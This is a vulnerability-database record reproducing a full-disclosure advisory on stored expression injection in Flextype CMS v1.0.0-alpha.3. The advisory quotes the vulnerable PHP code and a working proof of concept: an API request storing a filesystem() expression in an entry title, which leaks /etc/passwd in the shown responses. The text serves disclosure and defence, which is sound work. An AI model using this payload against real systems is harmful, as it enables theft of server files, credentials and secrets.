GCVE-1988-2026-0008
Vulnerability from gna-1988 – Published: 2026-09-07 06:42 – Updated: 2026-09-09 13:03
VLAI
EPSS
VEX
Title
Flextype v1.0.0-alpha.3 Stored Arbitrary Expression Injection in ExpressionsDirective Allows Arbitrary File Read
Summary
Description
Flextype CMS v1.0.0-alpha.3 contains a stored arbitrary expression
injection vulnerability in the Entries ExpressionsDirective. An
authenticated remote attacker with sufficient privileges to create or
modify entries can persist arbitrary expression syntax within an entry
field. When the affected field is subsequently retrieved or processed,
Flextype passes the stored value to parsers()->expressions()->parse(),
causing the attacker-controlled expression to be evaluated server-side.
The expression environment exposes application functionality including the
filesystem() object. An attacker can therefore store an expression that
accesses arbitrary files readable by the Flextype PHP process. Testing
confirmed exploitation by storing an expression referencing /etc/passwd
within an entry's title field. The expression remained persisted within the
underlying entry file and was evaluated when the entry was processed,
resulting in disclosure of /etc/passwd.
This represents a stored execution path because the expression itself
crosses the persistence boundary and remains within the entry rather than
requiring the attacker to supply the complete expression during each
subsequent request.
Impact
An authenticated remote attacker can persist arbitrary expressions within
Flextype entry fields that are subsequently evaluated by the server-side
expression engine.
The demonstrated vulnerability allows arbitrary files accessible to the
Flextype PHP process to be read. This could expose sensitive server-side
information including application configuration files, credentials, API
keys, database connection information, source code, operating-system
information, and other secrets available to the application account.
Because the malicious expression is persisted within the entry, subsequent
processing of the affected field can cause the expression to be evaluated
again. Additional impact may be possible depending on the objects and
functionality exposed to the expression environment.
DetailsVulnerable Expressions Directive Implementation
Flextype registers an onEntriesFetchSingleField listener responsible for
processing expressions contained within individual entry fields.
When expression directives and global expression processing are enabled,
the implementation retrieves the current entry field, constructs variables
from the entry data, and passes string field values directly to the
expression parser.
<?php
declare(strict_types=1);
/**
* Flextype - Hybrid Content Management System with the freedom of a
headless CMS
* and with the full functionality of a traditional CMS!
*
* Copyright (c) Sergey Romanenko (https://awilum.github.io)
*
* Licensed under The MIT License.
*
* For full copyright and license information, please see the LICENSE
* Redistributions of files must retain the above copyright notice.
*/
namespace Flextype\Entries\Directives;
use function Glowy\Strings\strings;
use function Flextype\emitter;
use function Flextype\entries;
use function Flextype\parsers;
use function Flextype\registry;
use function Flextype\collection;
// Directive: [[ ]] [% %] [# #]
emitter()->addListener('onEntriesFetchSingleField', static function (): void {
if (! registry()->get('flextype.settings.entries.directives.expressions.enabled'))
{
return;
}
if (! registry()->get('flextype.settings.entries.directives.expressions.enabled_globally'))
{
return;
}
$field = entries()->registry()->get('methods.fetch.field');
if (is_string($field['value']) &&
strings($field['value'])->contains('!expressions')) {
return;
}
$vars = [];
// Convert entry fields to vars.
foreach (json_decode(json_encode((object)
entries()->registry()->get('methods.fetch.result')), false) as $key =>
$value) {
$vars[$key] = $value;
}
if (is_string($field['value'])) {
$field['value'] =
parsers()->expressions()->parse($field['value'], $vars);
}
entries()->registry()->set('methods.fetch.field.key', $field['key']);
entries()->registry()->set('methods.fetch.field.value', $field['value']);
});
The security-sensitive operation occurs when the stored field value is
passed directly to the expression parser:
if (is_string($field['value'])) {
$field['value'] = parsers()->expressions()->parse($field['value'], $vars);
}
Proof of Concept — Store Arbitrary Expression
An authenticated attacker can create an entry through /api/v1/entries and
supply expression syntax within an attacker-controlled field.
The following request places a filesystem() expression within the title
field that reads /etc/passwd:
POST /api/v1/entries HTTP/1.1
Host: 127.0.0.1:18080
Content-Type: application/json
{"token":"lab-token","access_token":"password","id":"expr-api-proof","data":{"title":"[[
filesystem().file('/etc/passwd').get() ]]","content":"created through
API"}}
The application evaluates the supplied expression and returns the contents
of /etc/passwd:
HTTP/1.1 200 OK
Host: 127.0.0.1:18080
Date: Mon, 31 Aug 2026 01:49:16 GMT
Connection: close
X-Powered-By: PHP/8.1.34
Content-Type: application/json;charset=UTF-8
Content-Length: 1141
Access-Control-Allow-Origin: *
{"title":"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing
List
Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\n_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n","content":"created
through API","slug":"expr-api-proof","visibility":"visible","id":"expr-api-proof"}
Proof of Concept — Expression Persistence
Inspection of the resulting Flextype entry demonstrates that the expression
itself is persisted on disk rather than being replaced by the evaluated
/etc/passwd contents:
realpath: /app/project/entries/expr-api-proof/entry.md
---
---
title: "[[ filesystem().file('/etc/passwd').get() ]]"
published_by: ''
created_by: ''
uuid: 15420ada-de60-4bc6-b7b2-387df908e0e3
---
created through API
This demonstrates that the expression remains part of the stored entry and
is not limited to a reflected or one-time expression evaluation condition.
Proof of Concept — Stored Expression Evaluation
The stored entry can subsequently be retrieved using its normal entry
identifier without resupplying the expression:
GET /api/v1/entries?token=lab-token&id=expr-api-proof HTTP/1.1
Host: 127.0.0.1:18080
Flextype evaluates the expression previously stored within the entry and
returns the resulting /etc/passwd contents:
HTTP/1.1 200 OK
Host: 127.0.0.1:18080
Date: Mon, 31 Aug 2026 01:49:16 GMT
Connection: close
X-Powered-By: PHP/8.1.34
Content-Type: application/json;charset=UTF-8
Content-Length: 1141
Access-Control-Allow-Origin: *
{"title":"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing
List
Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\n_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n","content":"created
through API","slug":"expr-api-proof","visibility":"visible","id":"expr-api-proof"}
The GET request contains only the normal entry identifier. The expression
responsible for the file read originates from the previously persisted
entry data and is evaluated during subsequent entry processing.
Root Cause
The vulnerability occurs because Flextype treats stored entry content as
executable expression syntax during normal entry processing.
Specifically:
if (is_string($field['value'])) {
$field['value'] = parsers()->expressions()->parse($field['value'], $vars);
}
There is no trust-boundary distinction between ordinary
attacker-controllable entry content and trusted application expressions
before the field value reaches the expression parser.
As a result, data supplied through an entry-management interface can
transition from stored application content into executable server-side
expression syntax.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
9 references
Impacted products
{
"containers": {
"cna": {
"affected": [
{
"product": "Flextype",
"vendor": "Flextype",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains a stored arbitrary expression\ninjection vulnerability in the Entries ExpressionsDirective. An\nauthenticated remote attacker with sufficient privileges to create or\nmodify entries can persist arbitrary expression syntax within an entry\nfield. When the affected field is subsequently retrieved or processed,\nFlextype passes the stored value to parsers()-\u003eexpressions()-\u003eparse(),\ncausing the attacker-controlled expression to be evaluated server-side.\n\nThe expression environment exposes application functionality including the\nfilesystem() object. An attacker can therefore store an expression that\naccesses arbitrary files readable by the Flextype PHP process. Testing\nconfirmed exploitation by storing an expression referencing /etc/passwd\nwithin an entry\u0027s title field. The expression remained persisted within the\nunderlying entry file and was evaluated when the entry was processed,\nresulting in disclosure of /etc/passwd.\n\nThis represents a stored execution path because the expression itself\ncrosses the persistence boundary and remains within the entry rather than\nrequiring the attacker to supply the complete expression during each\nsubsequent request.\nImpact\n\nAn authenticated remote attacker can persist arbitrary expressions within\nFlextype entry fields that are subsequently evaluated by the server-side\nexpression engine.\n\nThe demonstrated vulnerability allows arbitrary files accessible to the\nFlextype PHP process to be read. This could expose sensitive server-side\ninformation including application configuration files, credentials, API\nkeys, database connection information, source code, operating-system\ninformation, and other secrets available to the application account.\n\nBecause the malicious expression is persisted within the entry, subsequent\nprocessing of the affected field can cause the expression to be evaluated\nagain. Additional impact may be possible depending on the objects and\nfunctionality exposed to the expression environment.\n\nDetailsVulnerable Expressions Directive Implementation\n\nFlextype registers an onEntriesFetchSingleField listener responsible for\nprocessing expressions contained within individual entry fields.\n\nWhen expression directives and global expression processing are enabled,\nthe implementation retrieves the current entry field, constructs variables\nfrom the entry data, and passes string field values directly to the\nexpression parser.\n\n\u003c?php\n\ndeclare(strict_types=1);\n\n/**\n * Flextype - Hybrid Content Management System with the freedom of a\nheadless CMS\n * and with the full functionality of a traditional CMS!\n *\n * Copyright (c) Sergey Romanenko (https://awilum.github.io)\n *\n * Licensed under The MIT License.\n *\n * For full copyright and license information, please see the LICENSE\n * Redistributions of files must retain the above copyright notice.\n */\n\nnamespace Flextype\\Entries\\Directives;\n\nuse function Glowy\\Strings\\strings;\nuse function Flextype\\emitter;\nuse function Flextype\\entries;\nuse function Flextype\\parsers;\nuse function Flextype\\registry;\nuse function Flextype\\collection;\n\n// Directive: [[ ]] [% %] [# #]\nemitter()-\u003eaddListener(\u0027onEntriesFetchSingleField\u0027, static function (): void {\n\n if (! registry()-\u003eget(\u0027flextype.settings.entries.directives.expressions.enabled\u0027))\n{\n return;\n }\n\n if (! registry()-\u003eget(\u0027flextype.settings.entries.directives.expressions.enabled_globally\u0027))\n{\n return;\n }\n\n $field = entries()-\u003eregistry()-\u003eget(\u0027methods.fetch.field\u0027);\n\n if (is_string($field[\u0027value\u0027]) \u0026\u0026\nstrings($field[\u0027value\u0027])-\u003econtains(\u0027!expressions\u0027)) {\n return;\n }\n\n $vars = [];\n\n // Convert entry fields to vars.\n foreach (json_decode(json_encode((object)\nentries()-\u003eregistry()-\u003eget(\u0027methods.fetch.result\u0027)), false) as $key =\u003e\n$value) {\n $vars[$key] = $value;\n }\n\n if (is_string($field[\u0027value\u0027])) {\n $field[\u0027value\u0027] =\nparsers()-\u003eexpressions()-\u003eparse($field[\u0027value\u0027], $vars);\n }\n\n entries()-\u003eregistry()-\u003eset(\u0027methods.fetch.field.key\u0027, $field[\u0027key\u0027]);\n entries()-\u003eregistry()-\u003eset(\u0027methods.fetch.field.value\u0027, $field[\u0027value\u0027]);\n});\n\nThe security-sensitive operation occurs when the stored field value is\npassed directly to the expression parser:\n\nif (is_string($field[\u0027value\u0027])) {\n $field[\u0027value\u0027] = parsers()-\u003eexpressions()-\u003eparse($field[\u0027value\u0027], $vars);\n}\n\nProof of Concept \u2014 Store Arbitrary Expression\n\nAn authenticated attacker can create an entry through /api/v1/entries and\nsupply expression syntax within an attacker-controlled field.\n\nThe following request places a filesystem() expression within the title\nfield that reads /etc/passwd:\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18080\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"expr-api-proof\",\"data\":{\"title\":\"[[\nfilesystem().file(\u0027/etc/passwd\u0027).get() ]]\",\"content\":\"created through\nAPI\"}}\n\nThe application evaluates the supplied expression and returns the contents\nof /etc/passwd:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 01:49:16 GMT\nConnection: close\nX-Powered-By: PHP/8.1.34\nContent-Type: application/json;charset=UTF-8\nContent-Length: 1141\nAccess-Control-Allow-Origin: *\n\n{\"title\":\"root:x:0:0:root:/root:/bin/bash\\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\\nsync:x:4:65534:sync:/bin:/bin/sync\\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\\nlist:x:38:38:Mailing\nList \nManager:/var/list:/usr/sbin/nologin\\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\\n_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\\n\",\"content\":\"created\nthrough API\",\"slug\":\"expr-api-proof\",\"visibility\":\"visible\",\"id\":\"expr-api-proof\"}\n\nProof of Concept \u2014 Expression Persistence\n\nInspection of the resulting Flextype entry demonstrates that the expression\nitself is persisted on disk rather than being replaced by the evaluated\n/etc/passwd contents:\n\nrealpath: /app/project/entries/expr-api-proof/entry.md\n---\n---\ntitle: \"[[ filesystem().file(\u0027/etc/passwd\u0027).get() ]]\"\npublished_by: \u0027\u0027\ncreated_by: \u0027\u0027\nuuid: 15420ada-de60-4bc6-b7b2-387df908e0e3\n---\ncreated through API\n\nThis demonstrates that the expression remains part of the stored entry and\nis not limited to a reflected or one-time expression evaluation condition.\nProof of Concept \u2014 Stored Expression Evaluation\n\nThe stored entry can subsequently be retrieved using its normal entry\nidentifier without resupplying the expression:\n\nGET /api/v1/entries?token=lab-token\u0026id=expr-api-proof HTTP/1.1\nHost: 127.0.0.1:18080\n\nFlextype evaluates the expression previously stored within the entry and\nreturns the resulting /etc/passwd contents:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 01:49:16 GMT\nConnection: close\nX-Powered-By: PHP/8.1.34\nContent-Type: application/json;charset=UTF-8\nContent-Length: 1141\nAccess-Control-Allow-Origin: *\n\n{\"title\":\"root:x:0:0:root:/root:/bin/bash\\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\\nsync:x:4:65534:sync:/bin:/bin/sync\\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\\nlist:x:38:38:Mailing\nList \nManager:/var/list:/usr/sbin/nologin\\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\\n_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\\n\",\"content\":\"created\nthrough API\",\"slug\":\"expr-api-proof\",\"visibility\":\"visible\",\"id\":\"expr-api-proof\"}\n\nThe GET request contains only the normal entry identifier. The expression\nresponsible for the file read originates from the previously persisted\nentry data and is evaluated during subsequent entry processing.\nRoot Cause\n\nThe vulnerability occurs because Flextype treats stored entry content as\nexecutable expression syntax during normal entry processing.\n\nSpecifically:\n\nif (is_string($field[\u0027value\u0027])) {\n $field[\u0027value\u0027] = parsers()-\u003eexpressions()-\u003eparse($field[\u0027value\u0027], $vars);\n}\n\nThere is no trust-boundary distinction between ordinary\nattacker-controllable entry content and trusted application expressions\nbefore the field value reaches the expression parser.\n\nAs a result, data supplied through an entry-management interface can\ntransition from stored application content into executable server-side\nexpression syntax.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:03:53Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/20"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/20"
},
{
"url": "https://awilum.github.io"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
},
{
"url": "news:x:9:9:news:/var/spool/news:/usr/sbin/nologin\\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\\nlist:x:38:38:Mailing"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/20"
],
"discovery": "EXTERNAL"
},
"title": "Flextype v1.0.0-alpha.3 Stored Arbitrary Expression Injection in ExpressionsDirective Allows Arbitrary File Read",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0008",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/20",
"automated": true,
"contentSha256": "4ef4571772099f511d4658f6df8f223d6c77b7b835548b20ea9e9e9cf1cfbd4f",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/20",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-31T02:09:12Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T06:42:13Z",
"dateUpdated": "2026-09-09T13:03:53Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0008"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loading…
Loading…